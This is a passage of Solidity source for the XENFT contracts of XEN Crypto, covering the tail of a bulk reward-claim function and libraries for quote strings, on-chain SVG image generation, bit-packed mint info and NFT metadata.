memory callData = abi.encodeWithSignature(\"callClaimMintReward(address)\", to);\n bytes memory callData1 = abi.encodeWithSignature(\"powerDown()\");\n for (uint256 i = 1; i < end; i++) {\n bytes32 salt = keccak256(abi.encodePacked(i, tokenId));\n bool succeeded;\n bytes32 hash = keccak256(abi.encodePacked(hex\"ff\", address(this), salt, keccak256(bytecode)));\n address proxy = address(uint160(uint256(hash)));\n assembly {\n succeeded := call(gas(), proxy, 0, add(callData, 0x20), mload(callData), 0, 0)\n }\n require(succeeded, \"XENFT: Error while claiming rewards\");\n assembly {\n succeeded := call(gas(), proxy, 0, add(callData1, 0x20), mload(callData1), 0, 0)\n }\n require(succeeded, \"XENFT: Error while powering down\");\n }\n _setRedeemed(tokenId);\n emit EndTorrent(_msgSender(), tokenId, to);\n }\n}\n"
},
"/contracts/libs/StringData.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.10;\n\n/*\n Extra XEN quotes:\n\n \"When you realize nothing is lacking, the whole world belongs to you.\" - Lao Tzu\n \"Each morning, we are born again. What we do today is what matters most.\" - Buddha\n \"If you are depressed, you are living in the past.\" - Lao Tzu\n \"In true dialogue, both sides are willing to change.\" - Thich Nhat Hanh\n \"The spirit of the individual is determined by his domination thought habits.\" - Bruce Lee\n \"Be the path. Do not seek it.\" - Yara Tschallener\n \"Bow to no one but your own divinity.\" - Satya\n \"With insight there is hope for awareness, and with awareness there can be change.\" - Tom Kenyon\n \"The opposite of depression isn't happiness, it is purpose.\" - Derek Sivers\n \"If you can't, you must.\" - Tony Robbins\n “When you are grateful, fear disappears and abundance appears.” - Lao Tzu\n “It is in your moments of decision that your destiny is shaped.” - Tony Robbins\n \"Surmounting difficulty is the crucible that forms character.\" - Tony Robbins\n \"Three things cannot be long hidden: the sun, the moon, and the truth.\" - Buddha\n \"What you are is what you have been. What you’ll be is what you do now.\" - Buddha\n \"The best way to take care of our future is to take care of the present moment.\" - Thich Nhat Hanh\n*/\n\n/**\n @dev a library to supply a XEN string data based on params\n*/\nlibrary StringData {\n uint256 public constant QUOTES_COUNT = 12;\n uint256 public constant QUOTE_LENGTH = 66;\n bytes public constant QUOTES =\n bytes(\n '\"If you realize you have enough, you are truly rich.\" - Lao Tzu '\n '\"The real meditation is how you live your life.\" - Jon Kabat-Zinn '\n '\"To know that you do not know is the best.\" - Lao Tzu '\n '\"An over-sharpened sword cannot last long.\" - Lao Tzu '\n '\"When you accept yourself, the whole world accepts you.\" - Lao Tzu'\n '\"Music in the soul can be heard by the universe.\" - Lao Tzu '\n '\"As soon as you have made a thought, laugh at it.\" - Lao Tzu '\n '\"The further one goes, the less one knows.\" - Lao Tzu '\n '\"Stop thinking, and end your problems.\" - Lao Tzu '\n '\"Reliability is the foundation of commitment.\" - Unknown '\n '\"Your past does not equal your future.\" - Tony Robbins '\n '\"Be the path. Do not seek it.\" - Yara Tschallener '\n );\n uint256 public constant CLASSES_COUNT = 14;\n uint256 public constant CLASSES_NAME_LENGTH = 10;\n bytes public constant CLASSES =\n bytes(\n \"Ruby \"\n \"Opal \"\n \"Topaz \"\n \"Emerald \"\n \"Aquamarine\"\n \"Sapphire \"\n \"Amethyst \"\n \"Xenturion \"\n \"Limited \"\n \"Rare \"\n \"Epic \"\n \"Legendary \"\n \"Exotic \"\n \"Xunicorn \"\n );\n\n /**\n @dev Solidity doesn't yet support slicing of byte arrays anywhere outside of calldata,\n therefore we make a hack by supplying our local constant packed string array as calldata\n */\n function getQuote(bytes calldata quotes, uint256 index) external pure returns (string memory) {\n if (index > QUOTES_COUNT - 1) return string(quotes[0:QUOTE_LENGTH]);\n return string(quotes[index * QUOTE_LENGTH:(index + 1) * QUOTE_LENGTH]);\n }\n\n function getClassName(bytes calldata names, uint256 index) external pure returns (string memory) {\n if (index < CLASSES_COUNT) return string(names[index * CLASSES_NAME_LENGTH:(index + 1) * CLASSES_NAME_LENGTH]);\n return \"\";\n }\n}\n"
},
"/contracts/libs/SVG.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.10;\n\nimport \"@openzeppelin/contracts/utils/Strings.sol\";\nimport \"./DateTime.sol\";\nimport \"./StringData.sol\";\nimport \"./FormattedStrings.sol\";\n\n/*\n @dev Library to create SVG image for XENFT metadata\n @dependency depends on DataTime.sol and StringData.sol libraries\n */\nlibrary SVG {\n // Type to encode all data params for SVG image generation\n struct SvgParams {\n string symbol;\n address xenAddress;\n uint256 tokenId;\n uint256 term;\n uint256 rank;\n uint256 count;\n uint256 maturityTs;\n uint256 amp;\n uint256 eaa;\n uint256 xenBurned;\n bool redeemed;\n string series;\n }\n\n // Type to encode SVG gradient stop color on HSL color scale\n struct Color {\n uint256 h;\n uint256 s;\n uint256 l;\n uint256 a;\n uint256 off;\n }\n\n // Type to encode SVG gradient\n struct Gradient {\n Color[] colors;\n uint256 id;\n uint256[4] coords;\n }\n\n using DateTime for uint256;\n using Strings for uint256;\n using FormattedStrings for uint256;\n using Strings for address;\n\n string private constant _STYLE =\n \"<style> \"\n \".base {fill: #ededed;font-family:Montserrat,arial,sans-serif;font-size:30px;font-weight:400;} \"\n \".series {text-transform: uppercase} \"\n \".logo {font-size:200px;font-weight:100;} \"\n \".meta {font-size:12px;} \"\n \".small {font-size:8px;} \"\n \".burn {font-weight:500;font-size:16px;} }\"\n \"</style>\";\n\n string private constant _COLLECTOR =\n \"<g>\"\n \"<path \"\n 'stroke=\"#ededed\" '\n 'fill=\"none\" '\n 'transform=\"translate(265,418)\" '\n 'd=\"m 0 0 L -20 -30 L -12.5 -38.5 l 6.5 7 L 0 -38.5 L 6.56 -31.32 L 12.5 -38.5 L 20 -30 L 0 0 L -7.345 -29.955 L 0 -38.5 L 7.67 -30.04 L 0 0 Z M 0 0 L -20.055 -29.955 l 7.555 -8.545 l 24.965 -0.015 L 20 -30 L -20.055 -29.955\"/>'\n \"</g>\";\n\n string private constant _LIMITED =\n \"<g> \"\n '<path fill=\"#ededed\" '\n 'transform=\"scale(0.4) translate(600, 940)\" '\n 'd=\"M66,38.09q.06.9.18,1.71v.05c1,7.08,4.63,11.39,9.59,13.81,5.18,2.53,11.83,3.09,18.48,2.61,1.49-.11,3-.27,4.39-.47l1.59-.2c4.78-.61,11.47-1.48,13.35-5.06,1.16-2.2,1-5,0-8a38.85,38.85,0,0,0-6.89-11.73A32.24,32.24,0,0,0,95,21.46,21.2,21.2,0,0,0,82.3,20a23.53,23.53,0,0,0-12.75,7,15.66,15.66,0,0,0-2.35,3.46h0a20.83,20.83,0,0,0-1,2.83l-.06.2,0,.12A12,12,0,0,0,66,37.9l0,.19Zm26.9-3.63a5.51,5.51,0,0,1,2.53-4.39,14.19,14.19,0,0,0-5.77-.59h-.16l.06.51a5.57,5.57,0,0,0,2.89,4.22,4.92,4.92,0,0,0,.45.24ZM88.62,28l.94-.09a13.8,13.8,0,0,1,8,1.43,7.88,7.88,0,0,1,3.92,6.19l0,.43a.78.78,0,0,1-.66.84A19.23,19.23,0,0,1,98,37a12.92,12.92,0,0,1-6.31-1.44A7.08,7.08,0,0,1,88,30.23a10.85,10.85,0,0,1-.1-1.44.8.8,0,0,1,.69-.78ZM14.15,10c-.06-5.86,3.44-8.49,8-9.49C26.26-.44,31.24.16,34.73.7A111.14,111.14,0,0,1,56.55,6.4a130.26,130.26,0,0,1,22,10.8,26.25,26.25,0,0,1,3-.78,24.72,24.72,0,0,1,14.83,1.69,36,36,0,0,1,13.09,10.42,42.42,42.42,0,0,1,7.54,12.92c1.25,3.81,1.45,7.6-.23,10.79-2.77,5.25-10.56,6.27-16.12,7l-1.23.16a54.53,54.53,0,0,1-2.81,12.06A108.62,108.62,0,0,1,91.3,84v25.29a9.67,9.67,0,0,1,9.25,10.49c0,.41,0,.81,0,1.18a1.84,1.84,0,0,1-1.84,1.81H86.12a8.8,8.8,0,0,1-5.1-1.56,10.82,10.82,0,0,1-3.35-4,2.13,2.13,0,0,1-.2-.46L73.53,103q-2.73,2.13-5.76,4.16c-1.2.8-2.43,1.59-3.69,2.35l.6.16a8.28,8.28,0,0,1,5.07,4,15.38,15.38,0,0,1,1.71,7.11V121a1.83,1.83,0,0,1-1.83,1.83h-53c-2.58.09-4.47-.52-5.75-1.73A6.49,6.49,0,0,1,9.11,116v-11.2a42.61,42.61,0,0,1-6.34-11A38.79,38.79,0,0,1,1.11,70.29,37,37,0,0,1,13.6,50.54l.1-.09a41.08,41.08,0,0,1,11-6.38c7.39-2.9,17.93-2.77,26-2.68,5.21.06,9.34.11,10.19-.49a4.8,4.8,0,0,0,1-.91,5.11,5.11,0,0,0,.56-.84c0-.26,0-.52-.07-.78a16,16,0,0,1-.06-4.2,98.51,98.51,0,0,0-18.76-3.68c-7.48-.83-15.44-1.19-23.47-1.41l-1.35,0c-2.59,0-4.86,0-7.46-1.67A9,9,0,0,1,8,23.68a9.67,9.67,0,0,1-.91-5A10.91,10.91,0,0,1,8.49,14a8.74,8.74,0,0,1,3.37-3.29A8.2,8.2,0,0,1,14.15,10ZM69.14,22a54.75,54.75,0,0,1,4.94-3.24,124.88,124.88,0,0,0-18.8-9A106.89,106.89,0,0,0,34.17,4.31C31,3.81,26.44,3.25,22.89,4c-2.55.56-4.59,1.92-5,4.79a134.49,134.49,0,0,1,26.3,3.8,115.69,115.69,0,0,1,25,9.4ZM64,28.65c.21-.44.42-.86.66-1.28a15.26,15.26,0,0,1,1.73-2.47,146.24,146.24,0,0,0-14.92-6.2,97.69,97.69,0,0,0-15.34-4A123.57,123.57,0,0,0,21.07,13.2c-3.39-.08-6.3.08-7.47.72a5.21,5.21,0,0,0-2,1.94,7.3,7.3,0,0,0-1,3.12,6.1,6.1,0,0,0,.55,3.11,5.43,5.43,0,0,0,2,2.21c1.73,1.09,3.5,1.1,5.51,1.12h1.43c8.16.23,16.23.59,23.78,1.42a103.41,103.41,0,0,1,19.22,3.76,17.84,17.84,0,0,1,.85-2Zm-.76,15.06-.21.16c-1.82,1.3-6.48,1.24-12.35,1.17C42.91,45,32.79,44.83,26,47.47a37.41,37.41,0,0,0-10,5.81l-.1.08A33.44,33.44,0,0,0,4.66,71.17a35.14,35.14,0,0,0,1.5,21.32A39.47,39.47,0,0,0,12.35,103a1.82,1.82,0,0,1,.42,1.16v12a3.05,3.05,0,0,0,.68,2.37,4.28,4.28,0,0,0,3.16.73H67.68a10,10,0,0,0-1.11-3.69,4.7,4.7,0,0,0-2.87-2.32,15.08,15.08,0,0,0-4.4-.38h-26a1.83,1.83,0,0,1-.15-3.65c5.73-.72,10.35-2.74,13.57-6.25,3.06-3.34,4.91-8.1,5.33-14.45v-.13A18.88,18.88,0,0,0,46.35,75a20.22,20.22,0,0,0-7.41-4.42,23.54,23.54,0,0,0-8.52-1.25c-4.7.19-9.11,1.83-12,4.83a1.83,1.83,0,0,1-2.65-2.52c3.53-3.71,8.86-5.73,14.47-6a27.05,27.05,0,0,1,9.85,1.44,24,24,0,0,1,8.74,5.23,22.48,22.48,0,0,1,6.85,15.82v.08a2.17,2.17,0,0,1,0,.36c-.47,7.25-2.66,12.77-6.3,16.75a21.24,21.24,0,0,1-4.62,3.77H57.35q4.44-2.39,8.39-5c2.68-1.79,5.22-3.69,7.63-5.67a1.82,1.82,0,0,1,2.57.24,1.69,1.69,0,0,1,.35.66L81,115.62a7,7,0,0,0,2.16,2.62,5.06,5.06,0,0,0,3,.9H96.88a6.56,6.56,0,0,0-1.68-4.38,7.19,7.19,0,0,0-4.74-1.83c-.36,0-.69,0-1,0a1.83,1.83,0,0,1-1.83-1.83V83.6a1.75,1.75,0,0,1,.23-.88,105.11,105.11,0,0,0,5.34-12.46,52,52,0,0,0,2.55-10.44l-1.23.1c-7.23.52-14.52-.12-20.34-3A20,20,0,0,1,63.26,43.71Z\"/>'\n \"</g>\";\n\n string private constant _APEX =\n '<g transform=\"scale(0.5) translate(533, 790)\">'\n '<circle r=\"39\" stroke=\"#ededed\" fill=\"transparent\"/>'\n '<path fill=\"#ededed\" '\n 'd=\"M0,38 a38,38 0 0 1 0,-76 a19,19 0 0 1 0,38 a19,19 0 0 0 0,38 z m -5 -57 a 5,5 0 1,0 10,0 a 5,5 0 1,0 -10,0 z\" '\n 'fill-rule=\"evenodd\"/>'\n '<path fill=\"#ededed\" '\n 'd=\"m -5, 19 a 5,5 0 1,0 10,0 a 5,5 0 1,0 -10,0\"/>'\n \"</g>\";\n\n string private constant _LOGO =\n '<path fill=\"#ededed\" '\n 'd=\"M122.7,227.1 l-4.8,0l55.8,-74l0,3.2l-51.8,-69.2l5,0l48.8,65.4l-1.2,0l48.8,-65.4l4.8,0l-51.2,68.4l0,-1.6l55.2,73.2l-5,0l-52.8,-70.2l1.2,0l-52.8,70.2z\" '\n 'vector-effect=\"non-scaling-stroke\" />';\n\n /**\n @dev internal helper to create HSL-encoded color prop for SVG tags\n */\n function colorHSL(Color memory c) internal pure returns (bytes memory) {\n return abi.encodePacked(\"hsl(\", c.h.toString(), \", \", c.s.toString(), \"%, \", c.l.toString(), \"%)\");\n }\n\n /**\n @dev internal helper to create `stop` SVG tag\n */\n function colorStop(Color memory c) internal pure returns (bytes memory) {\n return\n abi.encodePacked(\n '<stop stop-color=\"',\n colorHSL(c),\n '\" stop-opacity=\"',\n c.a.toString(),\n '\" offset=\"',\n c.off.toString(),\n '%\"/>'\n );\n }\n\n /**\n @dev internal helper to encode position for `Gradient` SVG tag\n */\n function pos(uint256[4] memory coords) internal pure returns (bytes memory) {\n return\n abi.encodePacked(\n 'x1=\"',\n coords[0].toString(),\n '%\" '\n 'y1=\"',\n coords[1].toString(),\n '%\" '\n 'x2=\"',\n coords[2].toString(),\n '%\" '\n 'y2=\"',\n coords[3].toString(),\n '%\" '\n );\n }\n\n /**\n @dev internal helper to create `Gradient` SVG tag\n */\n function linearGradient(\n Color[] memory colors,\n uint256 id,\n uint256[4] memory coords\n ) internal pure returns (bytes memory) {\n string memory stops = \"\";\n for (uint256 i = 0; i < colors.length; i++) {\n if (colors[i].h != 0) {\n stops = string.concat(stops, string(colorStop(colors[i])));\n }\n }\n return\n abi.encodePacked(\n \"<linearGradient \",\n pos(coords),\n 'id=\"g',\n id.toString(),\n '\">',\n stops,\n \"</linearGradient>\"\n );\n }\n\n /**\n @dev internal helper to create `Defs` SVG tag\n */\n function defs(Gradient memory grad) internal pure returns (bytes memory) {\n return abi.encodePacked(\"<defs>\", linearGradient(grad.colors, 0, grad.coords), \"</defs>\");\n }\n\n /**\n @dev internal helper to create `Rect` SVG tag\n */\n function rect(uint256 id) internal pure returns (bytes memory) {\n return\n abi.encodePacked(\n \"<rect \"\n 'width=\"100%\" '\n 'height=\"100%\" '\n 'fill=\"url(#g',\n id.toString(),\n ')\" '\n 'rx=\"10px\" '\n 'ry=\"10px\" '\n 'stroke-linejoin=\"round\" '\n \"/>\"\n );\n }\n\n /**\n @dev internal helper to create border `Rect` SVG tag\n */\n function border() internal pure returns (string memory) {\n return\n \"<rect \"\n 'width=\"94%\" '\n 'height=\"96%\" '\n 'fill=\"transparent\" '\n 'rx=\"10px\" '\n 'ry=\"10px\" '\n 'stroke-linejoin=\"round\" '\n 'x=\"3%\" '\n 'y=\"2%\" '\n 'stroke-dasharray=\"1,6\" '\n 'stroke=\"white\" '\n \"/>\";\n }\n\n /**\n @dev internal helper to create group `G` SVG tag\n */\n function g(uint256 gradientsCount) internal pure returns (bytes memory) {\n string memory background = \"\";\n for (uint256 i = 0; i < gradientsCount; i++) {\n background = string.concat(background, string(rect(i)));\n }\n return abi.encodePacked(\"<g>\", background, border(), \"</g>\");\n }\n\n /**\n @dev internal helper to create XEN logo line pattern with 2 SVG `lines`\n */\n function logo() internal pure returns (bytes memory) {\n return abi.encodePacked();\n }\n\n /**\n @dev internal helper to create `Text` SVG tag with XEN Crypto contract data\n */\n function contractData(string memory symbol, address xenAddress) internal pure returns (bytes memory) {\n return\n abi.encodePacked(\n \"<text \"\n 'x=\"50%\" '\n 'y=\"5%\" '\n 'class=\"base small\" '\n 'dominant-baseline=\"middle\" '\n 'text-anchor=\"middle\">',\n symbol,\n unicode\"・\",\n xenAddress.toHexString(),\n \"</text>\"\n );\n }\n\n /**\n @dev internal helper to create cRank range string\n */\n function rankAndCount(uint256 rank, uint256 count) internal pure returns (bytes memory) {\n if (count == 1) return abi.encodePacked(rank.toString());\n return abi.encodePacked(rank.toString(), \"..\", (rank + count - 1).toString());\n }\n\n /**\n @dev internal helper to create 1st part of metadata section of SVG\n */\n function meta1(\n uint256 tokenId,\n uint256 count,\n uint256 eaa,\n string memory series,\n uint256 xenBurned\n ) internal pure returns (bytes memory) {\n bytes memory part1 = abi.encodePacked(\n \"<text \"\n 'x=\"50%\" '\n 'y=\"50%\" '\n 'class=\"base \" '\n 'dominant-baseline=\"middle\" '\n 'text-anchor=\"middle\">'\n \"XEN CRYPTO\"\n \"</text>\"\n \"<text \"\n 'x=\"50%\" '\n 'y=\"56%\" '\n 'class=\"base burn\" '\n 'text-anchor=\"middle\" '\n 'dominant-baseline=\"middle\"> ',\n xenBurned > 0 ? string.concat((xenBurned / 10**18).toFormattedString(), \" X\") : \"\",\n \"</text>\"\n \"<text \"\n 'x=\"18%\" '\n 'y=\"62%\" '\n 'class=\"base meta\" '\n 'dominant-baseline=\"middle\"> '\n \"#\",\n tokenId.toString(),\n \"</text>\"\n \"<text \"\n 'x=\"82%\" '\n 'y=\"62%\" '\n 'class=\"base meta series\" '\n 'dominant-baseline=\"middle\" '\n 'text-anchor=\"end\" >',\n series,\n \"</text>\"\n );\n bytes memory part2 = abi.encodePacked(\n \"<text \"\n 'x=\"18%\" '\n 'y=\"68%\" '\n 'class=\"base meta\" '\n 'dominant-baseline=\"middle\" >'\n \"VMU: \",\n count.toString(),\n \"</text>\"\n \"<text \"\n 'x=\"18%\" '\n 'y=\"72%\" '\n 'class=\"base meta\" '\n 'dominant-baseline=\"middle\" >'\n \"EAA: \",\n (eaa / 10).toString(),\n \"%\"\n \"</text>\"\n );\n return abi.encodePacked(part1, part2);\n }\n\n /**\n @dev internal helper to create 2nd part of metadata section of SVG\n */\n function meta2(\n uint256 maturityTs,\n uint256 amp,\n uint256 term,\n uint256 rank,\n uint256 count\n ) internal pure returns (bytes memory) {\n bytes memory part3 = abi.encodePacked(\n \"<text \"\n 'x=\"18%\" '\n 'y=\"76%\" '\n 'class=\"base meta\" '\n 'dominant-baseline=\"middle\" >'\n \"AMP: \",\n amp.toString(),\n \"</text>\"\n \"<text \"\n 'x=\"18%\" '\n 'y=\"80%\" '\n 'class=\"base meta\" '\n 'dominant-baseline=\"middle\" >'\n \"Term: \",\n term.toString()\n );\n bytes memory part4 = abi.encodePacked(\n \" days\"\n \"</text>\"\n \"<text \"\n 'x=\"18%\" '\n 'y=\"84%\" '\n 'class=\"base meta\" '\n 'dominant-baseline=\"middle\" >'\n \"cRank: \",\n rankAndCount(rank, count),\n \"</text>\"\n \"<text \"\n 'x=\"18%\" '\n 'y=\"88%\" '\n 'class=\"base meta\" '\n 'dominant-baseline=\"middle\" >'\n \"Maturity: \",\n maturityTs.asString(),\n \"</text>\"\n );\n return abi.encodePacked(part3, part4);\n }\n\n /**\n @dev internal helper to create `Text` SVG tag for XEN quote\n */\n function quote(uint256 idx) internal pure returns (bytes memory) {\n return\n abi.encodePacked(\n \"<text \"\n 'x=\"50%\" '\n 'y=\"95%\" '\n 'class=\"base small\" '\n 'dominant-baseline=\"middle\" '\n 'text-anchor=\"middle\" >',\n StringData.getQuote(StringData.QUOTES, idx),\n \"</text>\"\n );\n }\n\n /**\n @dev internal helper to generate `Redeemed` stamp\n */\n function stamp(bool redeemed) internal pure returns (bytes memory) {\n if (!redeemed) return \"\";\n return\n abi.encodePacked(\n \"<rect \"\n 'x=\"50%\" '\n 'y=\"77.5%\" '\n 'width=\"100\" '\n 'height=\"40\" '\n 'stroke=\"black\" '\n 'stroke-width=\"1\" '\n 'fill=\"none\" '\n 'rx=\"5px\" '\n 'ry=\"5px\" '\n 'transform=\"translate(-50,-20) '\n 'rotate(-20,0,400)\" />',\n \"<text \"\n 'x=\"50%\" '\n 'y=\"77.5%\" '\n 'stroke=\"black\" '\n 'class=\"base meta\" '\n 'dominant-baseline=\"middle\" '\n 'text-anchor=\"middle\" '\n 'transform=\"translate(0,0) rotate(-20,-45,380)\" >'\n \"Redeemed\"\n \"</text>\"\n );\n }\n\n /**\n @dev main internal helper to create SVG file representing XENFT\n */\n function image(\n SvgParams memory params,\n Gradient[] memory gradients,\n uint256 idx,\n bool apex,\n bool limited\n ) internal pure returns (bytes memory) {\n string memory mark = limited ? _LIMITED : apex ? _APEX : _COLLECTOR;\n bytes memory graphics = abi.encodePacked(defs(gradients[0]), _STYLE, g(gradients.length), _LOGO, mark);\n bytes memory metadata = abi.encodePacked(\n contractData(params.symbol, params.xenAddress),\n meta1(params.tokenId, params.count, params.eaa, params.series, params.xenBurned),\n meta2(params.maturityTs, params.amp, params.term, params.rank, params.count),\n quote(idx),\n stamp(params.redeemed)\n );\n return\n abi.encodePacked(\n \"<svg \"\n 'xmlns=\"http://www.w3.org/2000/svg\" '\n 'preserveAspectRatio=\"xMinYMin meet\" '\n 'viewBox=\"0 0 350 566\">',\n graphics,\n metadata,\n \"</svg>\"\n );\n }\n}\n"
},
"/contracts/libs/MintInfo.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.10;\n\n// mapping: NFT tokenId => MintInfo (used in tokenURI generation)\n// MintInfo encoded as:\n// term (uint16)\n// | maturityTs (uint64)\n// | rank (uint128)\n// | amp (uint16)\n// | eaa (uint16)\n// | class (uint8):\n// [7] isApex\n// [6] isLimited\n// [0-5] powerGroupIdx\n// | redeemed (uint8)\nlibrary MintInfo {\n /**\n @dev helper to convert Bool to U256 type and make compiler happy\n */\n function toU256(bool x) internal pure returns (uint256 r) {\n assembly {\n r := x\n }\n }\n\n /**\n @dev encodes MintInfo record from its props\n */\n function encodeMintInfo(\n uint256 term,\n uint256 maturityTs,\n uint256 rank,\n uint256 amp,\n uint256 eaa,\n uint256 class_,\n bool redeemed\n ) public pure returns (uint256 info) {\n info = info | (toU256(redeemed) & 0xFF);\n info = info | ((class_ & 0xFF) << 8);\n info = info | ((eaa & 0xFFFF) << 16);\n info = info | ((amp & 0xFFFF) << 32);\n info = info | ((rank & 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF) << 48);\n info = info | ((maturityTs & 0xFFFFFFFFFFFFFFFF) << 176);\n info = info | ((term & 0xFFFF) << 240);\n }\n\n /**\n @dev decodes MintInfo record and extracts all of its props\n */\n function decodeMintInfo(uint256 info)\n public\n pure\n returns (\n uint256 term,\n uint256 maturityTs,\n uint256 rank,\n uint256 amp,\n uint256 eaa,\n uint256 class,\n bool apex,\n bool limited,\n bool redeemed\n )\n {\n term = uint16(info >> 240);\n maturityTs = uint64(info >> 176);\n rank = uint128(info >> 48);\n amp = uint16(info >> 32);\n eaa = uint16(info >> 16);\n class = uint8(info >> 8) & 0x3F;\n apex = (uint8(info >> 8) & 0x80) > 0;\n limited = (uint8(info >> 8) & 0x40) > 0;\n redeemed = uint8(info) == 1;\n }\n\n /**\n @dev extracts `term` prop from encoded MintInfo\n */\n function getTerm(uint256 info) public pure returns (uint256 term) {\n (term, , , , , , , , ) = decodeMintInfo(info);\n }\n\n /**\n @dev extracts `maturityTs` prop from encoded MintInfo\n */\n function getMaturityTs(uint256 info) public pure returns (uint256 maturityTs) {\n (, maturityTs, , , , , , , ) = decodeMintInfo(info);\n }\n\n /**\n @dev extracts `rank` prop from encoded MintInfo\n */\n function getRank(uint256 info) public pure returns (uint256 rank) {\n (, , rank, , , , , , ) = decodeMintInfo(info);\n }\n\n /**\n @dev extracts `AMP` prop from encoded MintInfo\n */\n function getAMP(uint256 info) public pure returns (uint256 amp) {\n (, , , amp, , , , , ) = decodeMintInfo(info);\n }\n\n /**\n @dev extracts `EAA` prop from encoded MintInfo\n */\n function getEAA(uint256 info) public pure returns (uint256 eaa) {\n (, , , , eaa, , , , ) = decodeMintInfo(info);\n }\n\n /**\n @dev extracts `redeemed` prop from encoded MintInfo\n */\n function getClass(uint256 info)\n public\n pure\n returns (\n uint256 class_,\n bool apex,\n bool limited\n )\n {\n (, , , , , class_, apex, limited, ) = decodeMintInfo(info);\n }\n\n /**\n @dev extracts `redeemed` prop from encoded MintInfo\n */\n function getRedeemed(uint256 info) public pure returns (bool redeemed) {\n (, , , , , , , , redeemed) = decodeMintInfo(info);\n }\n}\n"
},
"/contracts/libs/Metadata.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.10;\n\nimport \"@openzeppelin/contracts/token/ERC20/extensions/IERC20Metadata.sol\";\nimport \"@openzeppelin/contracts/utils/Strings.sol\";\nimport \"./MintInfo.sol\";\nimport \"./DateTime.sol\";\nimport \"./FormattedStrings.sol\";\nimport \"./SVG.sol\";\n\n/**\n @dev Library contains methods to generate on-chain NFT metadata\n*/\nlibrary Metadata {\n using DateTime for uint256;\n using MintInfo for uint256;\n using Strings for uint256;\n\n uint256 public constant POWER_GROUP_SIZE = 7_500;\n uint256 public constant MAX_POWER = 52_500;\n\n uint256 public constant COLORS_FULL_SCALE = 300;\n uint256 public constant SPECIAL_LUMINOSITY = 45;\n uint256 public constant BASE_SATURATION = 75;\n uint256 public constant BASE_LUMINOSITY = 38;\n uint256 public constant GROUP_SATURATION = 100;\n uint256 public constant GROUP_LUMINOSITY = 50;\n uint256 public constant DEFAULT_OPACITY = 1;\n uint256 public constant NO_COLOR = 360;\n\n // PRIVATE HELPERS\n\n // The following pure methods returning arrays are workaround to use array constants,\n // not yet available in Solidity\n\n function _powerGroupColors() private pure returns (uint256[8] memory) {\n return [uint256(360), 1, 30, 60, 120, 180, 240, 300];\n }\n\n function _huesApex() private pure returns (uint256[3] memory) {\n return [uint256(169), 210, 305];\n }\n\n function _huesLimited() private pure returns (uint256[3] memory) {\n return [uint256(263), 0, 42];\n }\n\n function _stopOffsets() private pure returns (uint256[3] memory) {\n return [uint256(10), 50, 90];\n }\n\n function _gradColorsRegular() private pure returns (uint256[4] memory) {\n return [uint256(150), 150, 20, 20];\n }\n\n function _gradColorsBlack() private pure returns (uint256[4] memory) {\n return [uint256(100), 100, 20, 20];\n }\n\n function _gradColorsSpecial() private pure returns (uint256[4] memory) {\n return [uint256(100), 100, 0, 0];\n }\n\n /**\n @dev private helper to determine XENFT group index by its power\n (power = count of VMUs * mint term in days)\n */\n function _powerGroup(uint256 vmus, uint256 term) private pure returns (uint256) {\n return (vmus * term) / POWER_GROUP_SIZE;\n }\n\n /**\n @dev private helper to generate SVG gradients for special XENFT categories\n */\n function _specialClassGradients(bool rare) private pure returns (SVG.Gradient[] memory gradients) {\n uint256[3] memory specialColors = rare ? _huesApex() : _huesLimited();\n SVG.Color[] memory colors = new SVG.Color[](3);\n for (uint256 i = 0; i < colors.length; i++) {\n colors[i] = SVG.Color({\n h: specialColors[i],\n s: BASE_SATURATION,\n l: SPECIAL_LUMINOSITY,\n a: DEFAULT_OPACITY,\n off: _stopOffsets()[i]\n });\n }\n gradients = new SVG.Gradient[](1);\n gradients[0] = SVG.Gradient({colors: colors, id: 0, coords: _gradColorsSpecial()});\n }\n\n /**\n @dev private helper to generate SVG gradients for common XENFT category\n */\n function _commonCategoryGradients(uint256 vmus, uint256 term)\n private\n pure\n returns (SVG.Gradient[] memory gradients)\n {\n SVG.Color[] memory colors = new SVG.Color[](2);\n uint256 powerHue = term * vmus > MAX_POWER ? NO_COLOR : 1 + (term * vmus * COLORS_FULL_SCALE) / MAX_POWER;\n // group\n uint256 groupHue = _powerGroupColors()[_powerGroup(vmus, term) > 7 ? 7 : _powerGroup(vmus, term)];\n colors[0] = SVG.Color({\n h: groupHue,\n s: groupHue == NO_COLOR ? 0 : GROUP_SATURATION,\n l: groupHue == NO_COLOR ? 0 : GROUP_LUMINOSITY,\n a: DEFAULT_OPACITY,\n off: _stopOffsets()[0]\n });\n // power\n colors[1] = SVG.Color({\n h: powerHue,\n s: powerHue == NO_COLOR ? 0 : BASE_SATURATION,\n l: powerHue == NO_COLOR ? 0 : BASE_LUMINOSITY,\n a: DEFAULT_OPACITY,\n off: _stopOffsets()[2]\n });\n gradients = new SVG.Gradient[](1);\n gradients[0] = SVG.Gradient({\n colors: colors,\n id: 0,\n coords: groupHue == NO_COLOR ? _gradColorsBlack() : _gradColorsRegular()\n });\n }\n\n // PUBLIC INTERFACE\n\n /**\n @dev public interface to generate SVG image based on XENFT params\n */\n function svgData(\n uint256 tokenId,\n uint256 count,\n uint256 info,\n address token,\n uint256 burned\n ) external view returns (bytes memory) {\n string memory symbol = IERC20Metadata(token).symbol();\n (uint256 classIds, bool rare, bool limited) = info.getClass();\n SVG.SvgParams memory params = SVG.SvgParams({\n symbol: symbol,\n xenAddress: token,\n tokenId: tokenId,\n term: info.getTerm(),\n rank: info.getRank(),\n count: count,\n maturityTs: info.getMaturityTs(),\n amp: info.getAMP(),\n eaa: info.getEAA(),\n xenBurned: burned,\n series: StringData.getClassName(StringData.CLASSES, classIds),\n redeemed: info.getRedeemed()\n });\n uint256 quoteIdx = uint256(keccak256(abi.encode(info))) % StringData.QUOTES_COUNT;\n if (rare || limited) {\n return SVG.image(params, _specialClassGradients(rare), quoteIdx, rare, limited);\n }\n return SVG.image(params, _commonCategoryGradients(count, info.getTerm()), quoteIdx, rare, limited);\n }\n\n function _attr1(\n uint256 count,\n uint256 rank,\n uint256 class_\n ) private pure returns (bytes memory) {\n return\n abi.encodePacked(\n '{\"trait_type\":\"Class\",\"value\":\"',\n StringData.getClassName(StringData.CLASSES, class_),\n '\"},'\n '{\"trait_type\":\"VMUs\",\"value\":\"',\n count.toString(),\n 